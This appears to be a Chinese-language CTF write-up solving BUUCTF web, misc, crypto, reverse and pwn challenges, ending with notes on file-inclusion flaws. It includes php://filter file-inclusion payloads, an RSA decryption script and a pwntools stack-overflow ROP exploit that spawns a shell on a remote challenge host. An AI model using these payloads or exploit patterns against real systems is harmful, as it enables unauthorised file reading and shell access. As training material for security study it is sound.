题解
web:[ACTF2020 新生赛]Include
参考:BUUCTF--[ACTF2020 新生赛]Include-优快云博客
打开环境,有一个tips
点击后
查看源代码,什么也没发现
这是我们可以注意到url后面有这个
file参数是直接传递给客户端的,服务端可以根据这个参数加载对应的文件,并将其包含在页面中
由上可以推测这里存在文件包含漏洞
猜测flag就在flag.php源代码中
思路:通过PHP伪协议来查看flag.php的源代码
payload1:
?file=php://filter/convert.base64-encode/resource=flag.php
成功注入
base64解码后得到源代码,可得到flag
<?php
echo "Can you find out the flag?";
//flag{b30f158d-a5f3-4fae-9948-47b78089c9c7}
payload2 :
使用iconv函数完成各种字符集间的转换
/?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
可直接得到flag
补充:
misc:[SWPU2019]你有没有好好看网课?
下载附件,发现要进一步解压需要密码
拖进010里看看是不是伪加密,结果不是
查看压缩包时发现一个提示
选择纯数字,6的密码长度进行破解
得到密码
打开doc文档,发现后面有一个红色波浪,上面应该有文字才对,选中所有文字更改一下文字颜色,没用,但是520和711两个数字还是比较显眼的
另外一个文件略显抽象……
分别截取其5.2秒和7.11秒的视频截图,在吊灯上有字(纯手工抓取,眼睛都抓瞎了),这里可以使用工具kinovea逐帧观察
..... ../... ./... ./... ../
dXBfdXBfdXA=
第一个是一个敲击码,可以手敲(先竖后横)也可以用随波逐流解码解码后为 52/31/31/32,也就是WLLM
第二个base64解码后是up_up_up
拼接起来,全部小写,就是flag2.zip文件的解压密码
wllmup_up_up
解压后得到一个图片
直接用记事本打开,CTRL+f搜索,flag不行,我搜了{,找到了
crypto:buuctfRSA
下载附件
第一个文件扩展名是.enc,但是用wireshark无法正常打开,两个都使用记事本打开
将pub.key中的内容进行公钥解析,得到n和e
n=86934482296048119190666062003494800588905656017203025617216654058378322103517
e=65537
大数分解得到
p = 285960468890451637935629440372639283459,
q = 304008741604601924494328155975272418463
那就是已知e,p,q的类型
脚本:
import gmpy2
import rsa
e = 65537
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e, phi_n)
key = rsa.PrivateKey(p*q, e, d, p, q)
with open("flag.txt", 'rb') as file: # 以二进制读模式,读取密文
file = file.read()
print(rsa.decrypt(file, key)) # file:公钥加密结果 key:私钥
运行脚本
reverse:[WUSTCTF2020]level1
下载附件,exeinfope打开,.elf文件,无壳64位
ida64打开,查看主函数,大概意思就是将flag的前二十个字节存储到ptr中。然后遍历这个数组的索引1~19(也就是第二个到第二十个元素),当索引是奇数时,将第i个左移i位,偶数时,则输出i
脚本逆着写回去即可
if __name__ == '__main__':
a=[198,232,816,200,1536,300,6144,984,51200,570,92160,1200,565248,756,1474560,800,6291456,1782,65536000]
# print(a)
b=[]
for i in range(1,20):
if((i)&1):
print(chr(int(a[i-1]>>i)),end="")
else:
print(chr(int(a[i-1]/i)),end="")
# print(b)
pwn:[HarekazeCTF2019]baby_rop
下载附件,用exeinfope打开,.elf文件,64位无壳
ida64打开,查看主函数,有system函数,又有,应该是栈溢出漏洞
双击查看system函数
shift+F12查看字符串找到了/bin/sh
思路:利用栈溢出覆盖返回地址位system@PLT,传入system()的参数/bin/sh,getshell
exp:
# python3.11.6
from pwn import *
binname = 'babyrop'
context(arch='amd64', os='linux', log_level='debug')
# io = process(binname)
io = remote('node5.buuoj.cn',25856)
system_addr = 0x0000000000400490
binsh_addr = 0x0000000000601048
poprdi_addr = 0x0000000000400683
payload = b'a'*0x10 + b'b'*8 + p64(poprdi_addr) + p64(binsh_addr) + p64(system_addr)
io.recv()
io.sendline(payload)
io.interactive()
直接cat flag没有文件,说明flag不在根目录下
用find -name flag指令找到flag的位置
进入目录
查找flag
知识点
web:
文件包含漏洞
之前写过一次的笔记:学习笔记_文件包含漏洞-优快云博客
本质:类似于SQL注入漏洞,输入一段能够控制的脚本或者代码,并且让服务器执行
常见文件包含函数
1、include
2、require
3、include_once
4、require_once
5、highlight_file
6、show_source
7、flie
8、readfile
9、file_get_contents
10、file_put_contents
11、fopen
php://filter